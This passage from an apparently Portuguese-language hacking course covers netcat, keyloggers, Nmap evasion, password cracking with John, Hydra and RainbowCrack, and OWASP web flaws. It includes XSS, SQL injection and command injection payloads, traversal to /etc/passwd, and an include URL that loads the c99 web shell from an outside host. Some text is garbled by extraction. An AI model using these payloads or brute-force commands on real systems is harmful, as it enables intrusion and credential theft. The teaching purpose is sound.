Tanto os vrus quanto os cavalos de tria no conseguem infectar um computador externo sem a ajuda de uma pessoa. O worm ou verme um programa que pode infectar tanto uma mquina local quando uma mquina externa. Normalmente, os worms exploram falhas de segurana em outros programas para se propagarem, como o caso do worm BLASTER, que cou mundialmente conhecido aps infectar milhares de computadores e poucas horas. Esse worm explorava um problema de programao em um servio conhecido por rpc-dcom, que vem ativado por padro nos sistemas operacionais Windows 2000 e Windows XP.
10.5.1 Botnets
Botnets so redes formadas por computadores infectados com Bots. Estas redes podem ser compostas por centenas ou milhares de computadores. Um invasor que tenha controle sobre uma Botnet pode utiliz-la para aumentar a potncia de seus ataques, por exemplo, para enviar centenas de milhares de e-mails de Phishing ou Spam, desferir ataques de negao de servio, etc.
Pgina 123
Vamos reproduzir em sala de aula, em ambiente controlado uma botnet, ento se prepare, se voc usa algum antivirus, ele pode detectar a ameaa, ento durante esta aula desabilite temporiariamente seu antivirus.
Pgina 124
10.6 Netcat
Netcat uma ferramenta usada para ler e escrever dados em conexes de rede usando o protocolo TCP/IP. Dada sua grande versatilidade, o Netcat considerado pelos hackers o canivete suo do TCP/IP, podendo ser usado para fazer desde portscans at brute force attacks. O nome netcat vem do comando "cat"do Linux/Unix. O cat concatena arquivos e envia para a sada padro (stdout). O netcat faz praticamente o mesmo, porm ao invs de concatenar arquivos, o netcat concatena sockets TCP e UDP. Possui inmeras funes, dentre as quais: Varredura de portas; Banner grabbing; Criao de backdoor; Tunelamento e etc. Alm de facilitar a vida do administrador de rede, tambm facilita a vida de um invasor, portanto, cuidado! Mate seu processo e remova o binrio sempre aps a utilizao, caso no queira tornar-se a vtima.
Pgina 125
-n Fora o netcat a usar apenas endereos de IP numricos, sem fazer consultas a servidores DNS; -o lename Usando para obter um log dos dados de entrada ou sada, em formato hexadecimal; -p Especica a porta a ser usada, sujeito a disponibilidade e a restries de privilgio; -r Faz as portas do portscan serem escolhidas aleatoriamente; -s Especica o endereo IP da interface usada para enviar os pacotes. Pode ser usado para spoong de IPs, bastando apenas congurar uma interface do tipo eth0:0 (usando o ifcong) com o IP desejado; -t Permite usar o nc para criar sesses de telnet por script. Precisa estar compilado com a opo -DTELNET; -u Usar UDP ao invs de TCP; -v Controla o nvel de mensagens mostradas na tela; -w Limita o tempo mximo para que uma conexo seja estabelecida; -z Para evitar o envio de dados atravs de uma conexo TCP, e limitar os dados de uma conexo UDP.
# netcat -l -p 5 5
No cliente:
Pgina 126
1 2 3
host3 # nc -l > log . txt host2 # nc -l --sh - exec " ncat host3 " host1 # nc -- send - only host2 < log . txt
O Netcat em modo de escuta no host2, ao receber uma conexo cria um "novo netcat"para falar com o host3 e conecta a entrada e sada do programa em execuo no host1 e host3 encadeando-os. Esse mesmo "macete"pode ser utilizado em um host local tambm. O exemplo a seguir direciona a porta 8080 para o servidor web exemplo.org.br:
# nc -l localhost 8 8
10.7 Keylogger
Keylogger so programas utilizados para gravar tudo aquilo que o usurio digita no teclado. Alguns, mais avanados, armazenam screenshots da tela ou at mesmo a rea ao redor do ponteiro do mouse onde ocorre um click. Exemplos de Keyloggers: Ardamax Windows
Pgina 127
Pykeylogger Linux - http://sourceforge.net/projects/pykeylogger/les/ Alm dos keyloggers lgicos, temos os keyloggers fsicos, que podem ser comprados em lojas virtuais por poucos dlares. Esses keyloggers fsicos se parecem com adaptadores de teclados PS2/USB, sendo instalados entre o cabo do teclado e a entrada PS2 da CPU, s que eles armazenam dentro de uma memria ash tudo o que digitado no teclado grampeado. Obviamente, que a instalao de um dispositivo desses, seja lgico ou fsico, necessita do uso de recursos de engenharia social para que o mesmo seja instalado na mquina do alvo. E no caso do keylogger fsico, o atacante precisa ter acesso fsico mquina, tanto para instalar, quanto para pegar de volta o dispositivo.
Pgina 128
11 Ignorando Protees
11.1 Evaso de Firewall/IDS com Nmap
As tcnicas de evaso de rewall e IDS so utilizadas para evitar que qualquer tipo de aplicao que contenha ltros e controles de acesso, possam detectar as aes do atacante. Tanto ferramentas especcas quanto parmetros de ferramentas cujo objetivo de utilizao no especicamente esse, podem ser usados. Abaixo vamos ver alguns parmetros do Nmap, que podem ser utilizados para burlar protees, e do Firewall Tester (FTester), que utilizado para testar regras de rewall pesquisando como est o nvel de bloqueio e deteco de pacotes maliciosos. -f fragmenta pacotes, incluindo pacotes IP. A idia dividir os cabealhos TCP em vrios pacotes, dicultando a deteco por ltros de pacotes, IDS e etc. -D <decoy1>[,<decoy2>][,ME][,...] realiza uma varredura utilizando iscas. Faz parecer que vrios hosts da rede, juntamente com seu IP, esto varrendo o alvo. Desse modo, o IDS pode reportar 5-10 varreduras em um nico IP, mas no saber denir quais so iscas inocentes e qual IP est realmente realizando a varredura. -S <IP_Address> realiza um IP spoong, fazendo com que um IDS report uma varredura sendo realizada a partir de um outro IP, que no o seu, mas que denido por voc. source-port <portnumber> realiza um port spoong, permitindo que seja denido no pacote de qual porta ele teoricamente foi enviado. Essa tcnica explora as portas abertas no alvo para realizar varreduras que o rewall permitir por conta de suas regras. As portas mais utilizadas so DNS (53) e FTP (21). randomize-hosts ordena de forma aleatria os hosts alvos de uma varredura. Isso pode tornar a varredura menos bvia para sistemas de monitoramento de rede, especialmente se combinado com opes de "slow timing". spoof-mac <MAC address> faz um MAC spoong, atribuindo um endereo MAC,
Ignorando Protees
11.2.1 Caractersticas:
rewall testing IDS testing Simulao de conexes reais TCP para inspecionar rewalls e IDS. Fragmentao de IP / Fragmentao de TCP Tcnicas de evaso de IDS
11.2.2 Utilizao:
1 2
# ./ ftest # ./ ftestd
Pgina 130
Ignorando Protees
11.2.3 Sintaxe:
Para pacotes TCP e UDP: IP_origem:porta_origem:IP_destino:porta_destino:Flags:Protocolo:Tipo_servio Para pacotes ICMP: IP_origem:porta_origem:IP_destino:porta_destino:Flags:ICMP:tipo_icmp:cdigo_icmp
Pgina 131
Ignorando Protees
Nmap, Nessus e OpenVas so timas ferramentas que podem ser utilizadas na deteco de honeypots.
Pgina 132
12.2 Wordlist
Uma boa wordlist fundamental para o sucesso de um ataque de brute force. possvel comprar wordlists, fazer download ou at mesmo gerar listas de palavras que sero usadas pelas ferramentas de brute force.
Onde: 5 - tamanho mnimo da palavra 8 - tamanho mximo da palavra 12345678 - Caracteres que sero usados para a gerao da lista Temos mais algumas opes a denir com esta ferramenta, mas desta vez vamos tentar criar combinaes mais prximas do mundo real onde muitas vezes, ou por falta de criatividade ou medo de esquecer a senha as pessoas acabam associando ao prprio nome uma data, casamento, namoro, nascimento, aniversrio do papagaio, etc. Vamos ver como poderamos adivinhar a senha o Jnior.
# crunch 1
123456789
Vamos fazer uso de outra ferramenta para gerar wordlists, no caso, a ferramenta wyd. A diferena dessa ferramenta para o crunch que essa utiliza uma maneira mais inteligente de gerar as combinaes. Vamos gerar a wordlist com baseado em um arquivo HTML de um site qualquer que zemos download:
O wyd consegue gerar combinaes a partir de arquivos em texto puro, html, php, doc, ppt, pdf, odt, ods e odp.
Pgina 134
Options:
Wordlist: A wordlist a ser utilizada pelo JtR. O arquivo pode estar em qualquer lugar, basta especicar o caminho correto nessa varivel; Idle: Congura o John para usar seu CPU quando este estiver inativo. Diminui o desempenho da quebra da senha, porm no impacta tanto no desempenho de outros programas. O padro desta opo N (desabilitado); Save: Intervalo no qual o software ir gravar seu progresso para no caso de uma interrupo ele possa recomear novamente de onde havia parado; Beep: Emite um bip quando uma senha quebrada.
Pgina 135
List.Rules:Single
Nesta seo cam as regras default do software para a quebra das senhas. So regras como substituio de strings, escrita 1337 e outras.
List.Rules:Wordlist
Nesta seo cam as regras de substituio de caracteres, modicaes de palavras, etc quando se est usando uma wordlist para tentar quebrar as senhas do arquivo.
List.Rules:NT
Nesta seo cam as regras utilizadas quando se est quebrando senhas cifradas utilizando o algoritmo NTLM (Windows).
Incremental:*
Aqui cam as regras para o tipo de quebra de senhas chamado Incremental (todos os "tipos"de tentativas de quebra de senha que o John utiliza sero explicados mais adiante neste documento).
List.External:*
So alguns ltros pr-denidos para substituio de palavras, eliminao de caracteres indesejados, etc.
12.3.1 Modos
Jhon the Ripper utiliza alguns modos para que consiga otimizar a quebra da senha. Estes modos so explicados a seguir:
Pgina 136
Modo Wordlist - Para utilizar esse mtodo voc vai precisar de uma wordlist. Existem vrios lugares na Internet que possuem milhares de wordlists disponveis gratuitamente, s dar uma olhada no Google que voc ir encontrar vrias. Para te ajudar, aqui no item "Wordlists"voc encontra vrios links para wordlists disponveis na Internet. L voc tambm encontra algumas dicas de como organizar a sua lista. Mas vale lembrar que no bom que voc tenha entradas duplicadas na sua lista, o Jhon the Ripper no vai fazer absolutamente nada com a sua wordlist antes de comear a testar as palavras que tem nela. Este o modo mais simples suportado pelo John. Para utiliz-lo voc s especica uma wordlist e algumas regras para ele fazer combinaes das palavras que ele encontrar na lista que voc especicou. Quando utilizando determinados algoritmos, o Jhon the Ripper se beneciar se voc colocar senhas com tamanhos mais ou menos parecidos perto umas das outras. Por exemplo, seria interessante voc colocar as senhas com 8, 6 ou 9 caracteres perto umas das outras na sua wordlist. A wordlist padro a ser utilizada pelo John denida no arquivo john.conf. Modo Single Crack - neste modo que voc deveria comear a tentar quebrar uma senha. Aqui, alm de vrias regras de handling serem aplicadas, o Jhon the Ripper vai utilizar mais informaes como o nome completo do usurio e seu diretrio home para tentar descobrir qual a senha. Este modo muito mais rpido que o modo "Wordlist". Modo Incremental - Este o modo mais poderoso do Jhon the Ripper. Nele sero tentadas todas as combinaes possveis de caracteres para tentar quebrar a senha cifrada. Dada a grande quantidade de combinaes possveis, recomendvel que se dena alguns parmetros (como tamanho da senha ou conjunto de caracteres a serem utilizados) para que voc no que esperando pela senha ser quebrada por muito tempo. Todos os parmetros para este modo so denidos no arquivo john.conf, nas sees comeadas com Incremental no nome. Modo External - Esse modo bastante complexo. Nele voc pode denir regras prprias para o John seguir ao tentar quebrar uma senha. Tais regras so denidas em uma linguagem parecida com a C no arquivo de congurao do programa. Ao ser especicado este modo ao tentar quebrar uma senha na linha de comando, o JtR vai pr-processar as funes que voc escreveu para este modo e utiliz-las. A documentao de uso desse modo pode ser obtida em:
http://www.openwall.com/john/doc/EXTERNAL.shtml
Pgina 137
Pgina 138
make-charset=ARQ: Gera um arquivo charset para ser utilizado no modo "incremental". show: Mostra as senhas do arquivo que voc especicou para o JtR que j foram quebradas. Esta opo especialmente til quando voc tem outra instncia do JtR rodando. test: Esta opo faz um benchmark de todos os algoritmos compilados no software e os testa para saber se esto funcionando corretamente. Esta opo j foi explicada anteriormente. users=[-]Nome do usurio ou UID: Com esta opo voc pode especicar para o JtR quais usurio voc quer tentar quebrar a senha. Voc pode utilizar o nome de usurio ou o UID dele e pode separar vrios usurios utilizando uma vrgula. Utilizando o -"antes do nome do usurio, voc faz com que o John ignore aquele usurio ou UID. groups=[-]GID: Faz com que o John tente quebrar apenas as senhas dos usurios participantes de um grupo especicado (ou ignor-los, se voc utilizar o -"). shells=[-]SHELL: Apenas tenta quebrar as senhas dos usurios cujas shells sejam iguais que foi especicada por voc na linha de comando. Utilizando o -"voc ignora as shells especicadas. salts=[-]NUMERO: Deixa voc especicar o tamanho das senhas que sero (ou no) testadas. Aumenta um pouco a performance para quebrar algumas senhas, porm o tempo total utilizando esta opo acaba sendo o mesmo. format=FORMATO: Permite a voc denir o algoritmo a ser usado para quebrar a senha, ignorando a deteco automtica do software. Os formatos suportados atualmente so DES, BSDI, MD5, AFS e LM. Voc tambm pode utilizar esta opo quando estiver utilizando o comando test, como j foi explicado anteriormente neste texto. save-memory=1, 2 ou 3: Esta opo dene alguns nveis para dizer ao John com qual nvel de otimizao ele ir utilizar a memria. Os nveis variam de 1 a 3, sendo 1 a mnima otimizao. Esta opo faz com que o JtR no afete muito os outros programas utilizando muita memria.
Pgina 139
# ./ john password
Tambm podemos passar na sintaxe um parmetro para que o John pegue a lista de palavras de outro arquivo (por exemplo, as wordlists que geramos anteriormente):
1
O John gera dois arquivos de log: o john.pote o restore. No primeiro arquivo esto as senhas j decifradas, para que em uma nova execuo ele no comece tudo do zero. J o arquivo restore ir conter informaes sobre o estado de execuo do John para continuar executando uma sesso interrompida (por exemplo, quando teclamos CTRL+C durante a execuo). Se voc quiser retomar a execuo do ponto onde parou, basta executar:
1
# ./ john - restore
Tambm podemos exibir as senhas j descobertas pelo programa usando a opo show:
1
importante ressaltar que o John The Ripper possui mdulos adicionais que no so compilados durante uma compilao padro. Esses mdulos podem ser encontrados no prprio site da ferramenta, atravs do endereo: http://www.openwall.com/john/. Os mdulos adicionais se encontram no nal da pgina inicial. Como exemplo, podemos citar o mdulo para quebrar senhas de Lotus Domino e MySQL.
Pgina 140
12.4 THC-Hydra
O hydra um dos utilitrios que abrangem uma grande quantidade de servios que podem ser alvos de brute force, entre eles: TELNET, FTP, Firebird, HTTPGET, HTTP-HEAD, HTTPS-GET, HTTP-HEAD, HTTP-PROXY, HTTP-PROXY- NTLM, HTTP-FORM-GET, HTTP-FORM-POST, HTTPS-FORM-GET, HTTPS-FORM- POSTLDAP2, LADP3, SMB, SMBNT, MS-SQL, MYSQL, POSTGRES, POP3 NTLM, IMAP, IMAP-NTLM, NCP, NNTP, PCNFS, ICQ, SAP/R3, Cisco auth, Cisco enable, SMTPAUTH, SMTP-AUTH NTLM, SSH2, SNMP, CVS, Cisco AAA, REXEC, SOCKS5, VNC, POP3 e VMware-Auth. Alm disso, o hydra fornece suporte a conexes via proxy. O xhydra um utilitrio gtk para uso do hydra na interface grca.
http://freeworld.thc.org/releases/hydra-5.8-src.tar.gz
# tar - xzvf hydra -5.8 - src . tar . gz # cd hydra -5.8 - src # ./ configure ; make ; make install # cd hydra - gtk # ./ configure ; make ; make install
Pgina 141
Em /tmp/usuarios temos a userlist de ftp, em /tmp/pass temos a wordlist para os usurios e em /tmp/resultado o resultado do brute force no servio. Vejamos o contedo do arquivo de sada do brute force:
O THC-Hydra tambm pode ser usado para realizar ataques contra formulrios web. Para isso, podemos usar a opo http-post-form ou http-get-form, dependendo do mtodo usado para envio dos dados pelo formulrio web. Vamos analisar o comando seguinte:
# hydra -l hydra -P password . lst -s 8 <IP > http - post - form "/ administrador / index . php : usuario =^ USER ^& senha =^ PASS ^& submit = Login : Incorrect Username "
O parmetro USER ser substitudo pelos usurios, no nosso caso, o valor passado para a opo l, no nosso caso o valor hydra, e o parmetro PASS ser substitudo pelos valores passados na opo P, no nosso caso, uma wordlist chamada password.lst.
# hydra -l admin -P wl . txt -o resultado . txt 192.168.3.1 6 http - get form "/ bf / bf . php : usuario =^ USER ^& senha =^ PASS ^& submit = Enviar : incorreta "
Pgina 142
pois utiliza tabelas previamente criadas, chamadas rainbow tables, para reduzir drasticamente o tempo necessrio para quebrar senhas. Um timo programa para utilizarmos para quebrar senhas Windows com rainbow tables o Ophcrack Para baixar Rainbow Tables:
http://rainbowtables.shmoo.com/
http://www.ethicalhacker.net/content/view/94/24/
Pgina 143
Vamos ver passo a passo como utilizar o software RainbowCrack. Esse software inclui trs ferramentas que devem ser usadas em sequncia para fazer a coisa funcionar:
Explicao dos parmetros: hash_algorithm O algoritmo dos hashs (lm, ntlm, md5 e assim por diante) usado na rainbow table. charset A congurao dos caracteres (charset) do texto plano na rainbow tables. Todos os charsets possveis esto denidos no arquivo charset.txt. plaintext_len_min e plaintext_len_max Estes dois parmetros denem o tamanho possvel de todo o texto plano na rainbow tables. Se o charset numrico, o plaintext_len_min 1, e o plaintext_len_max 5, ento a string "12345"ser includa na tabela, mas "123456"no. table_index, chain_len, chain_num e part_index Estes quatro parmetros so mais difceis de explicar em poucas palavras. Ler e compreender o artigo original de Philippe Oechslin (criador do RainbowCrack), pode ajudar a entender o signicado exato. O table_index est relacionado ao "reduce function"que utilizado na rainbow table. O chain_len o tamanho de cada "rainbow chain"na rainbow table. Uma "rainbow chain"congurada como 16 bytes a menor unidade em uma rainbow table. Uma rainbow tables contm diversas rainbow chains. O chains_num o nmero de rainbow chains em uma rainbow table. O parmetro part_index determina como o "start point"em cada rainbow chain gerado. Deve ser um nmero (ou comear com um nmero). Os valores corretos de todos os parmetros dependem do que vocs precisa, e selecionar bons parmetros requer um bom entendimento do algoritmo de time- memory tradeoff.
Pgina 144
Agora hora de criar uma rainbow table. Altere o diretrio corrente em seu terminal de comando para o diretrio do RainbowCrack, e execute o comando seguinte:
1 2
38
33554432
Esse comando leva 4 horas para ser completado em um computador com um processador Core2 Duo E7300. possvel parar a execuo do mesmo a qualquer momento pressionando Ctrl+C. Da prxima vez que o comando for executado com a mesma linha de comando, ele continuar a partir do ponto em que foi interrompido para continuar com a gerao da tabela. Quando o comando tiver terminado, um arquivo com o nome de "md5_loweralphanumeric#1-7_0_3800x33554432_0.rt"e tamanho de 512 MB ser criado. O nome do mesmo simplesmente a linha de comando utilizada com os parmetros interligados, com a extenso "rt". O programa rcrack que ser explicado mais a frente, precisa dessas informaes para saber quais os parmetros existentes na rainbow table. Portanto, no renomeie o arquivo. As demais tabelas podem ser geradas da mesma forma, com os comandos:
1 2 3 4 5
# # # # #
loweralpha - numeric loweralpha - numeric loweralpha - numeric loweralpha - numeric loweralpha - numeric
1 1 1 1 1
7 7 7 7 7
1 2 3 4 5
38 38 38 38 38
Pgina 145
1 2 3 4 5 6 7 8
# # # # # #
md5 \ _loweralpha - numeric #1 -7\ _ \ _38 md5 \ _loweralpha - numeric #1 -7\ _1 \ _38 md5 \ _loweralpha - numeric #1 -7\ _2 \ _38 md5 \ _loweralpha - numeric #1 -7\ _3 \ _38 md5 \ _loweralpha - numeric #1 -7\ _4 \ _38 md5 \ _loweralpha - numeric #1 -7\ _5 \ _38
. rt . rt . rt . rt . rt . rt
Cada comando acima, leva cerca de 1 a 2 minutos para completarem sua execuo. O programa rtsort gravar a rainbow table organizada por sobre o arquivo orginal. No interrompa a execuo do comando, do contrrio o arquivo original ser danicado. Agora o processo de organizao das rainbow tables est completo.
# rcrack *. rt -h aqui_vai_o_hash_para_ser_quebrado
O primeiro parmetro especica o caminho para buscar nos arquivos das rainbow tables. Os caracteres "*"e "?"podem ser usados para especicar vrios arquivos. Normalmente isso leva algumas dezenas segundos para nalizar, se a string existir dentro do "range"do charset e tamanho de strings selecionados. Do contrrio, levase muito mais tempo para buscar por todas as tabelas, apenas para no encontrar nada. Para quebrar mltiplos hashs, coloque todos os hashs em um arquivo de texto, com um hash por linha. E ento especique o nome do arquivo na linha de comando do programa rcrack:
Pgina 146
# rcrack *. rt -l arquivo_com_lista_de_hashes
Se as rainbow tables que gerou usam o algoritmo lm, o programa rcrack possui um suporte especial para o parmetro -f". Um arquivo de dump de hash no formato pwdump necessrio como input para o programa rcrack. O contedo do arquivo parecer com o seguinte:
Administrator :5 :1 c3a2b6d939a1 21aad3b435b514 4ee : e241 6942bf38bcf57a6a4b29 16eff6 ::: 2 Guest :5 1: a296c9e4267e9ba9aad3b435b514 4ee :9 d978dda95e5185bbeda9b3ae f84b4 :::
1
O arquivo pwdump a sada de utilitrios tais como pwdump2, pwdump3 ou outros. E contm os hashes tanto lm quant ntlm. Para quebrar hashes lm em arquivos pwdump, use o seguinte comando:
# rcrack *. rt -f arquivo_pwdump
O algoritmo de hash lm converte todas as letras minsculas em strings maisculas; como resultado disso, todas as strings quebradas atravs do hashe lm, nunca contm letras minscula, enquanto que a string original poed conter letras minsculas. O programa rcrack tentar corrigir isso em hashes ntlm armazenados no mesmo arquivo e exibir a string original.
OSSTMM Recomenda
Ataque automatizado de dicionrio a pasta de senhas; Ataque de fora bruta a pasta de senhas; Ataque de fora bruta em servios. Obter a pasta de senhas do sistema que guarda nomes de usurio e senha; Para sistemas Unix, devero estar em /etc/passwd e/ou /etc/shadow ;
Pgina 147
Para sistemas Unix que realizam autenticaes SMB, pode encontrar as senhas de NT em /etc/smbpasswd; Para sistemas NT, devero estar em /winn/repair/Sam
Pgina 148
Aplicaes web so crticas para a segurana de um sistema porque usualmente elas esto conectadas com uma base de dados que contm informaes tais como cartes de crdito e senhas. A maior parte dos ataques atualmente, no so realizados contra a infraestrutura organizacional, mas sim contra aplicaes. E se houver falhas em aplicaes WEB, muito possivelmente o atacante conseguir acesso a todo contedo existente no servidor onde a aplicao est hospedada. Na maioria das vezes, vrias aplicaes WEB cam hospedadas em um mesmo servidor, compartilhando da mesma mquina fsica. Se uma, dessas vrias aplicaes hospedadas no servidor, tiver falhas graves, que permitam acesso mquina, todas as outras sero comprometidas e o atacante tambm poder explorar as demais mquinas acessveis na rede.
Pgina 150
namente, como o caso de arquivos, diretrios, registros da base de dados ou chaves, na forma de uma URL ou parmetro de formulrio. Os atacantes podem manipular estas referncias para acessar outros objetos sem autorizao. A5 Cross Site Request Forgery (CSRF) Um ataque CSRF fora o navegador da vtima, que esteja autenticado em uma aplicao, a enviar uma requisio prautenticada um servidor Web vulnervel, que por sua vez fora o navegador da vtima a executar uma ao maliciosa em prol do atacante. O CSRF pode ser to poderoso quanto a aplicao Web que ele ataca. A6 Vazamento de Informaes e Tratamento de Erros Inapropriado As aplicaes podem divulgar informaes sobre suas conguraes, processos internos ou violar a privacidade por meio de uma srie de problemas na aplicao, sem haver qualquer inteno. Os atacantes podem usar esta fragilidade para roubar informaes consideradas sensveis ou conduzir ataques mais estruturados. A7 Autenticao falha e Gerenciamento de Sesso As credenciais de acesso e token de sesso no so protegidos apropriadamente com bastante freqncia. Atacantes comprometem senhas, chaves ou tokens de autenticao de forma a assumir a identidade de outros usurios. A8 Armazenamento Criptogrco Inseguro As aplicaes Web raramente utilizam funes criptogrcas de forma adequada para proteo de informaes e credenciais. Os atacantes se aproveitam de informaes mal protegidas para realizar roubo de identidade e outros crimes, como fraudes de cartes de crdito. A9 Comunicaes inseguras As aplicaes freqentemente falham em criptografar trfego de rede quando se faz necessrio proteger comunicaes crticas/condenciais. A10 Falha de Restrio de Acesso URL Frequentemente, uma aplicao protege suas funcionalidades crticas somente pela supresso de informaes como links ou URLs para usurios no autorizados. Os atacantes podem fazer uso desta fragilidade para acessar e realizar operaes no autorizadas por meio do acesso direto s URLs.
Pgina 151
13.4.1 VULNERABILIDADE
Existem trs tipos bem conhecidos de XSS: reetido, armazenado e insero DOM. O XSS reetido o de explorao mais fcil uma pgina reetir o dado fornecido pelo usurio como retorno direto a ele:
echo $_REQUEST[userinput];
O XSS armazenado recebe o dado hostil, o armazena em arquivo, banco de dados ou outros sistemas de suporte informao e ento, em um estgio avanado mostra o dado ao usurio, no ltrado. Isto extremamente perigoso em sistemas como CMS, blogs ou fruns, onde uma grande quantidade de usurios acessar entradas de outros usurios. Com ataques XSS baseados em DOM, o cdigo Java Script do site e as variveis so manipulados ao invs dos elementos HTML. Alternativamente, os ataques podem ser uma mistura ou uma combinao dos trs tipos. O perigo com o XSS no est no tipo de ataque, mas na sua possibilidade. Comportamentos no padro do navegador pode introduzir vetores de ataque sutis. O XSS tambm potencialmente habilitado a partir de quaisquer componentes que o browser utilize.
Pgina 152
Os ataques so freqentemente implementados em Java Script, que uma ferramenta poderosa de scripting. O uso do Java Script habilita atacante a manipular qualquer aspecto da pgina a ser renderizada, incluindo a adio de novos elementos (como um espao para login que encaminha credenciais para um site hostil), a manipulao de qualquer aspecto interno do DOM e a remoo ou modicao de forma de apresentao da pgina. O Java Script permite o uso do XmlHttpRequest, que tipicamente usado por sites que usam a tecnologia AJAX, mesmo se a vtima no use o AJAX no seu site. O uso do XmlHttpRequest permite, em alguns casos, contornar a poltica do navegador conhecida como "same source origination" assim, encaminhando dados da vtima para sites hostis e criar worms complexos e zumbis maliciosos que duram at o fechamento do navegador. Os ataques AJAX no necessitam ser visveis ou requerem interao com o usurio para realizar os perigosos ataques cross site request forgery (CSRF) (vide A-5).
13.4.2 EXPLORANDO
Exemplo de uma vulnerabilidade usando as Query Strings de uma pgina:
http://dominio.com/default.aspx?parametro=<script>alert(XSS Vul!);</script>
Neste exemplo ser exibido uma msgbox ao visitante do site, nada de to terrivel, mas com isso podemos imaginar que qualquer codigo digitado pode ser executado, tal como exibir dados da sesso, redirecionar pagina entre outros.
Pgina 153
13.5.1 VULNERABILIDADE
Caso uma entrada de usurio seja fornecida a um interpretador sem validao ou codicao, a aplicao vulnervel. Verique se a entrada de usurio fornecida queries dinmicas, como por exemplo:
PHP: $sql = "SELECT * FROM table WHERE id = ". $_REQUEST[id] . ""; Java: String query = "SELECT user_id FROM user_data WHERE user_name = "+ req.getParameter("userID") + " and user_password = "+ req.getParameter("pwd") +"";
13.5.2 EXPLORANDO
Primeiro vamos analisar o codigo abaixo:
Pgina 154
Como caria a chamada no banco de dados se envissemos no username e password o contedo: or 1=1 ?
Como 1 sempre igual a 1, teremos uma verdade e passaremos pela checagem. Esse um tipo de dados que poderamos passar para aplicativos vulnerveis e burlar o sistema de autenticao. Faremos isso na prtica com o WebGoat.
Pgina 155
Em Windows, comprometimento interno do sistema pode ser possvel a partir do uso de PHPs SMB le wrappers. Este ataque particularmente prevalecente em PHP e cuidado extremo deve ser aplicado com qualquer sistema ou funo de arquivo para garantir que a entrada fornecida pelo usurio no inuencie os nomes de arquivos.
13.6.1 VULNERABILIDADE
Uma vulnerabilidade comum construda :
include $_REQUEST[filename];
Isto no somente permite a avaliao de scripts hostis remotos, mas pode ser usado para acessar arquivos locais do servidor (caso o PHP seja hospedado no Windows) devido ao suporte SMB nos PHPs le system wrappers. Outros mtodos de ataque incluem: Upload de dados hostis a arquivos de sesses, dados de log e via imagens (tpico de software de frum). Uso de compresso ou streams de udio, como por exemplo, zlib:// ou ogg:// que no inspecione a ag interna do PHP e ento permite o acesso remoto a recursos, mesmo que allow_url_fopen ou allow_url_include esteja desabilitado. Usando PHP wrappers, como por exemplo, php://input e outros para coletar entrada da requisio de dados POST ao invs de um arquivo. Usando o PHPs data: wrapper, como por exemplo, data:;base64,PD9waHAgcGhwaW5mbygpOz8+. Uma vez que essa lista extensa (e muda com periodicidade), vital que o uso de uma arquitetura desenhada apropriado para segurana e design robusto quando manipulamos entradas fornecidas pelo usurio que inuenciem a escolha de nomes de arquivos e acesso no lado do servidor. Apesar de fornecidos alguns exemplos em PHP, este ataque tambm aplicvel de maneiras diferentes em .NET e J2EE. As aplicaes desenvolvidas nestes frameworks necessitam de ateno particular aos mecanismos de segurana de acesso
Pgina 156
ao cdigo para garantir que os nomes de arquivos fornecidos ou inuenciados pelos usurios no habilitem que controles de segurana sejam desativados. Por exemplo, possvel que documentos XML submetidos por um atacante ter um DTD hostil que force o analisador XML a carregar um DTD remoto e analisar e processar os resultados. Uma empresa Australiana de segurana demonstrou esta abordagem para varredura portas para rewalls. Veja [SIF01] nas referncias deste artigo para maiores informaes. O dano causado por essa vulnerabilidade est diretamente associado com os pontos fortes dos controles de isolamento da plataforma no framework. Como o PHP raramente isolado e no possui o conceito de caixa de areia "sandbox"ou arquitetura segura, o dano muito pior do que comparado com outras plataformas com limitao ou conana parcial, ou so contidos em uma sandbox convel como, por exemplo, quando uma aplicao web executada sob um JVM com um gerenciador de segurana apropriado habilitado e congurado (que raramente o padro).
13.6.2 EXPLORANDO
Falhas dessa classe ocorrem simplesmente porque o programador no ltrou o contedo que recebe de um usurio e envia para funes que executam comandos no sistema, como por exemplo, a funo system() ou passthru() do PHP. Uma vez que um usurio malicioso consegue enviar caracteres de escape (; | > <) e esses caracteres so enviados para a aplicao vulnervel, o atacante conseguir executar os comandos diretamente no servidor.
http://www.hostvuln.com/meuscript.cgi?file=;id;uname%2 -a
13.6.2.1 Shell PHP Um dos mais famosos shell em php o C99, criada pelo Captain Crunch Security Team, mas existem diversas r57, php shell, R9 etc... A c99 a mais usada pela sua simplicidade sem muitos conhecimentos de comandos unix.
Pgina 157
Podemos conseguir uma shell baixando um arquivo php com o cdigo da mesma e hospedando-a em um site. Ou simplesmente buscando na web. Voc pode encontrar uma c99 em http://corz.org/corz/c99.php A partir de um site vulnervel, podemos chamar a shell que est hospedada em um site e simplesmente comear a operar dentro do site como se tivssemos na linha de comando.
http://www.sitevitima.com/menu.php?page=http://corz.org/corz/c99.php
Pgina 158
Este tipo de ataque aconteceu no site da Australian Taxation Ofces GST Start Up Assistance em 2000, onde um usurio legtimo, mas hostil, simplesmente modicou o ABN (identicador da empresa) presente na URL. O usurio se apossou de cerca de 17.000 registros de empresas cadastrados no sistema, e ento enviou para cada uma das 17.000 empresas detalhes do ataque. Este tipo de vulnerabilidade muito comum, porm no testada largamente em muitas aplicaes.
13.7.1 VULNERABILIDADE
Muitas aplicaes expem referncias a objetos internos aos usurios. Atacantes manipulam parmetros a m de modicar as referncias e violarem a poltica de controle de acesso de forma intencionalmente e sem muito esforo. Freqentemente, estas referncias apontam para arquivos do sistema e banco de dados, mas qualquer aplicao exposta pode estar vulnervel. Por exemplo, se o cdigo permite especicao de nomes de arquivos ou caminhos a partir da entrada do usurio, isto pode permitir que atacantes acessem diretrios da aplicao que no esto publicados e acessem outros recursos.
<select name="language<option value="frFranais</option></select> require_once ($_REQUEST[language]."lang.php"); ...
Tal cdigo pode ser atacado usando uma string como ../../../../etc/passwd%00 usando injeo de um byte nulo (vide OWASP Guide para mais detalhes) para acessar qualquer arquivo no sistema de arquivo do servidor web. Similarmente, referncias as chaves de banco de dados so freqentemente expostas. Um atacante pode atacar estes parmetros simplesmente chutando ou procurando por outra chave vlida. Geralmente, elas so seqenciais por natureza. No exemplo a seguir, mesmo que a aplicao no apresente um link qualquer para um carrinho no autorizado e nenhuma injeo SQL seja possvel, um atacante pode ainda modicar o parmetro cartID para qualquer outro desejado.
int cartID = Integer.parseInt( request.getParameter( "cartID") ); String query = "SELECT * FROM table WHERE cartID="+ cartID;
Pgina 159
13.7.2 EXPLORANDO
Um exemplo de explorao desta vulnerabilidade :
http://www.hostvul.com/index.php?file=../../../../../../etc/passwd
Pgina 160
